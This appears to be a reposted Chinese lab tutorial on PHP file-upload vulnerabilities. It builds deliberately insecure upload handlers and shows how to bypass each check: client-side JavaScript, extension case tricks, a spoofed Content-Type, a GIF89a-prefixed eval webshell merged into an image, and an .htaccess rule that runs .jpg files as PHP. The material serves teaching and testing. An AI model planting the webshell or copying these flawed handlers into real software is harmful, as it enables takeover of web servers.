文件上传漏洞

Posted Zeker62

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了文件上传漏洞相关的知识,希望对你有一定的参考价值。

文件上传漏洞简介

文件上传漏洞就是利用某些代码缺陷来上传恶意木马等恶意文件到服务器进行资源获取或者控制

攻击者主要对文件上传漏洞的主要方式是:

  • 前端JS过滤绕过
  • 文件名过滤绕过
  • Content-Type恶意绕过

等等

上传漏洞类型

前端JS绕过

前端JS代码漏洞绕过的原理是:应用程序是在前端通过JS代码进行验证的,而并不是在后端进行验证,绕过前端的JS验证可以有效利用文件上传漏洞,进行木马的上传

构建环境

文件上传html界面:

<!DOCTYPE html>
<html lang="en">

<head>
    <meta charset="UTF-8">
    <meta http-equiv="X-UA-Compatible" content="IE=edge">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>JS 文件绕过</title>
</head>

<body>
    <form action="upload.php" enctype="multipart/form-data" method="post" name="upload" onsubmit="return checkfile();">
        <input type="hidden" name="MAX_FILE_SIZE" value="2044444">
        <br /> 请选择你要上传的文件:
        <input type="file" name="upfile">
        <input type=submit name="submit" value="submit" />
</body>

</html>

文件上传PHP代码:

<?php
echo "<meta charset='utf-8'>";
$uploaddir='uploads/';
if(isset($_POST['submit'])){
    if(file_exists($uploaddir)){
        if(move_uploaded_file($_FILES['upfile']['tmp_name'],$uploaddir.'/'.$_FILES['upfile']['name'])){
            echo "文件保存成功。\\n保存于:".$uploaddir.$_FILES['upfile']['name'];
        }else{
            exit("文件保存失败,请重新上传文件再试");
            echo "<a href=upload.html>回到上传页面</a>";
        }
    }
}
?>

文件上传js代码:

function checkfile() {
    var file = document.getElementsByName('upfile')[0].value;
    if (file == null || file == "") {
        alert("您选择的是空文件,请重新上传");
        return false;
    }
    var allowed_ext = ".jpg|.png|.gif|.bmp";
    var ext_name = file.substring(file.lastIndexOf("."));
    if (allowed_ext.indexOf(ext_name + "|") == -1) {
        var msg = "该文件类型不允许上传";
        alert(msg);
        return false;
    }
}

$_FILES()函数说明

通过使用 PHP 的全局数组 $_FILES,你可以从客户计算机向远程服务器上传文件。

第一个参数是表单的 input name,第二个下标可以是 "name"、"type"、"size"、"tmp_name" 或 "error"。如下所示:

  • $_FILES["file"]["name"] - 上传文件的名称
  • $_FILES["file"]["type"] - 上传文件的类型
  • $_FILES["file"]["size"] - 上传文件的大小,以字节计
  • $_FILES["file"]["tmp_name"] - 存储在服务器的文件的临时副本的名称
  • $_FILES["file"]["error"] - 由文件上传导致的错误代码

这是一种非常简单文件上传方式。基于安全方面的考虑,您应当增加有关允许哪些用户上传文件的限制。

漏洞分析

由于JS判定只发生在前端,有两个方法可以实现:

禁用浏览器的JS执行

在浏览器的设置里面可以禁用JS:
禁用之后,我们选择一个特殊格式的文件:
上传成功:

使用抓包软件修改拓展名传参

我们在传参的时候将文件的参数设置成允许上传的文件后缀
具体做法如下:

  • 将木马1.php文件的后缀名改成.jpg
  • 上传文件
  • 抓包
  • 将文件名改回成1.php


这样,我们的PHP代码就可以在服务器端执行了

修改前端JS代码绕过

我们修改前端js代码,即可上传PHP文件了(使用firebug等软件即可):

文件名过滤绕过

在绕过了JS过后,可能后端的PHP代码会指定某些文件的后缀名不允许上传
这种方法的好处是,在后端判断的PHP代码是不允许修改的

环境搭建

需要更换form表单的响应界面,即html界面的action改成loadup2.php

下面是loadup2.php的源代码

<?php
echo "<meta charset='UTF-8'>";
if(is_uploaded_file($_FILES['upfile']['tmp_name'])){
    $upfile = $_FILES['upfile'];
    $name = $upfile['name'];
    $type = substr($name,strrpos($name,'.')+1);
    $size = $_FILES['upfile']['size'];
    $tmp_name=$_FILES['upfile']['tmp_name'];

    //判断是否为图片
    if($type == 'php'){
        echo "禁止上传PHP文件!";
        echo "<a href='upload.html'>重新上传</a>";
        die();
    }
    else{
        $error=$upfile['error'];
        echo "================================================</br>";
        echo "上传信息</br>";
        if($error==0){
        $uploaddir='uploads/';
        if(isset($_POST['submit'])){
            if(file_exists($uploaddir)){
                if(move_uploaded_file($_FILES['upfile']['tmp_name'],$uploaddir.'/'.$_FILES['upfile']['name'])){
                    $destination=$uploaddir.$_FILES['upfile']['name'];
                    echo "文件保存成功。\\n保存于:".$uploaddir.$_FILES['upfile']['name'];
                    echo "<br>图片预览:</br>";
                    echo "<img src='".$destination."'>";
                    echo "<br>";
                    //echo "<alt=\\"图片预览:\\r文件名:".$destination."\\r\\">";
                }else{
                    exit("文件保存失败,请重新上传文件再试");
                }
            }
        }
           
        }
    }
}

loadup2.php相比较于loadup.php增加了图片预览的功能

漏洞分析

这样,无疑在刚才的基础上增加了一层防御

代码审计

关键的代码是:

if($type == 'php'){
        echo "禁止上传PHP文件!";
        echo "<a href='upload.html'>重新上传</a>";
        die();
    }

这是个指定文件名的比较,而不区分大小写

使用大小写绕过过滤

php文件的启动是不区分大小写的。
首先,关掉javascript,绕过第一层防护
选择PHP文件:
单开burpsuite,proxy代理,我们提交文件,于此同时抓取数据包:
找到filename,修改后缀名为.Php,以绕过
即,文件保存成功

Content-Type过滤绕过

这种情况针对于PHP代码并不去截取文件名的内容来判断
而是通过$_FILES['upfile']['type']函数来直接判断文件的类型
但是我们仍然可以利用存在的漏洞进行绕过

环境搭建

将首页的html中的action替换成upload_content_type.php
下面是upload_content_type.php的源代码

<?php
echo "<meta charset='UTF-8'>";
if(is_uploaded_file($_FILES['upfile']['tmp_name'])){
    $upfile=$_FILES['upfile'];
    $name = $upfile['name'];
    $type = $upfile['type'];
    $size = $_FILES['upfile']['size'];
    $tmp_name=$_FILES['upfile']['tmp_name'];

    switch($type){
        case 'image/jpeg':$oktype=true;break;
        case 'image/pjpeg':$oktype=true;break;
        case 'image/png':$oktype=true;break;
        case 'image/gif':$oktype=true;break;
    }
    if($oktype){
        $error=$_FILES['upfile']['error'];
        echo "================================<br>";
        echo "上传的文件名是:".$name."<br>";
        echo "上传的文件类型是:".$type."<br>";
        echo "上传的文件大小是:".$size."<br>";
        echo "上传后的系统返回值是".$error."<br>";
        echo "上传的文件临时存放路径是".$tmp_name."<br>";
        echo "开始移动上传文件</br>";
        $uploaddir='uploads/';
        if($error==0 && move_uploaded_file($_FILES['upfile']['tmp_name'],$uploaddir.'/'.$_FILES['upfile']['name'])){
            $destination=$uploaddir.$_FILES['upfile']['name'];
            echo "文件保存成功。\\n保存于:".$uploaddir.$_FILES['upfile']['name'];
            echo "<br>图片预览:</br>";
            echo "<img src='".$destination."'>";
            echo "<br>";
        }else if($error ==1){
            echo "超过了文件大小,请在php.ini中设置";
        }else if($error ==2){
            echo "超过了文件大小MAX_FILE所执行的值";
        }else if($error ==3){
            echo "文件只有部分被上传";
        }else if($error ==4){
            echo "文件没有被上传";
        }else{
            echo "上传文件大小为0";
        }
    }else{
        echo "请上传jpg/png/gif类型的图片!!";
    }

}
?>

漏洞分析

代码审计

这个关键代码就在于$type = $upfile['type'];
使用这个方法,可以让我们发出的请求报文中的Content-Type变成对应的值
比如,除了代码上面的四种图像文件,还有PHP文件的content-type:application/octet-stream

更改Content-Type的值以绕过过滤判断

关闭js过滤
上传一个PHP文件
打开burpsuite代理,上传,抓包
可以看到,存在一个nmd.php的文件类型


我们修改Content-Type:变量为上面代码显示的任意一个图片类型,然后提交
可以看到,提交的php文件被当做图像提交成功

文件头过滤绕过

各种文件都有特定的文件头格式,PHP代码可以检查文件头来检查文件的类型。
所以之前的两个方法都没有效果,因为已经不再成为判断依据

常见的图片文件头

  • JPEG: 0xFFD8FF
  • PNG : 0X89504E470D0A1A0A
  • GIF :GIF89a

环境搭建

PHP中判断文件头用的是exif拓展,需要手动加载配置
在PHPstudyPro中可以很方便配置
PHP版本要大
html参考上面配置

<?php
if(is_uploaded_file($_FILES['upfile']['tmp_name'])){
    $upfile=$_FILES['upfile'];
    $name = $upfile['name'];
    $type = $upfile['type'];
    $size = $_FILES['upfile']['size'];
    $tmp_name=$_FILES['upfile']['tmp_name'];

    if(!exif_imagetype($_FILES['upfile']['tmp_name'])){
        echo "请上传图片文件!";
        die();
    }else{
        $error=$upfile['error'];
        echo "==============================<br>";
        echo "上传的文件名是:".$name."<br>";
        echo "上传的文件类型是:".$type."<br>";
        echo "上传的文件大小是:".$size."<br>";
        echo "上传后的系统返回值是".$error."<br>";
        echo "上传的文件临时存放路径是".$tmp_name."<br>";
        echo "开始移动上传文件</br>";
        $uploaddir='uploads/';
        if($error==0 && move_uploaded_file($_FILES['upfile']['tmp_name'],$uploaddir.'/'.$_FILES['upfile']['name'])){
            $destination=$uploaddir.$_FILES['upfile']['name'];
            echo "文件保存成功。\\n保存于:".$uploaddir.$_FILES['upfile']['name'];
            echo "<br>图片预览:</br>";
            echo "<img src='".$destination."'>";
            echo "<br>";
        }else if($error ==1){
            echo "超过了文件大小,请在php.ini中设置";
        }else if($error ==2){
            echo "超过了文件大小MAX_FILE所执行的值";
        }else if($error ==3){
            echo "文件只有部分被上传";
        }else if($error ==4){
            echo "文件没有被上传";
        }else{
            echo "上传文件大小为0";
        }
    }
}

漏洞分析

可以利用木马隐写术进行文件的改造

木马的内容为:文件头+木马内容,比如GIF89a<?php @eval($_REQUEST['123']);?>,假设文件名a.txt

可以选择任意一张图片,假设为a.jpg

使用cmd命令:copy a.jpg /b + a.txt /a test.php
就可以生成一个php文件,甚至我们更改它的后缀名为jpg可以发现这个是原来的图片
但是木马已经被注入进去了
我们尝试上传这个PHP文件,发现文件成功上传,并且显现出图片原有的样子

.htaccess上传漏洞

可以利用.htaccess对web服务的配置功能,实现将jpg和png当做PHP解析的功能
请读者百度开启htaccess配置的方法

环境搭建

这是基本的环境搭建

<?php
if (is_uploaded_file($_FILES['upfile']['tmp_name'])) {
    $upfile = $_FILES['upfile'];
    $name = $upfile['name'];
    $type = substr($name,strrpos($name,'.')+1);
    $size = $_FILES['upfile']['size'];
    $tmp_name = $_FILES['upfile']['tmp_name'];

    if (preg_match('/php.*/i', $type)) {
        echo "不能上传PHP文件";
        die();
    } else {
        $error = $upfile['error'];
        echo "==============================<br>";
        echo "上传的文件名是:" . $name . "<br>";
        echo "上传的文件类型是:" . $type . "<br>";
        echo "上传的文件大小是:" . $size . "<br>";
        echo "上传后的系统返回值是" . $error . "<br>";
        echo "上传的文件临时存放路径是" . $tmp_name . "<br>";
        echo "开始移动上传文件</br>";
        $uploaddir = 'uploads/';
        if ($error == 0 && move_uploaded_file($_FILES['upfile']['tmp_name'], $uploaddir . '/' . $_FILES['upfile']['name'])) {
            $destination = $uploaddir . $_FILES['upfile']['name'];
            echo "文件保存成功。\\n保存于:" . $uploaddir . $_FILES['upfile']['name'];
            echo "<br>图片预览:</br>";
            echo "<img src='" . $destination . "'>";
            echo "<br>";
        } else if ($error == 1) {
            echo "超过了文件大小,请在php.ini中设置";
        } else if ($error == 2) {
            echo "超过了文件大小MAX_FILE所执行的值";
        } else if ($error == 3) {
            echo "文件只有部分被上传";
        } else if ($error == 4) {
            echo "文件没有被上传";
        } else {
            echo "上传文件大小为0";
        }
    }
}

.htaccess文件内容:AddType application/x-httpd-php.jpg
这个文件的内容意思是,将jpg后缀文件当成PHP文件来执行

漏洞分析

  • 先关闭js代码的过滤
  • 通过代码审计发现,这个只对PHP是黑名单机制,其他文件不做限制,上传.htaccess文件
  • 然后再上传我们的一句话木马jpg图片
  • 于是就可以操控我们的一句话木马了

以上是关于文件上传漏洞的主要内容,如果未能解决你的问题,请参考以下文章

文件上传漏洞

php代码审计8审计文件上传漏洞

2020/1/30 PHP代码审计之文件上传漏洞

文件上传漏洞成因是啥?

文件上传漏洞,解析漏洞总结

文件上传漏洞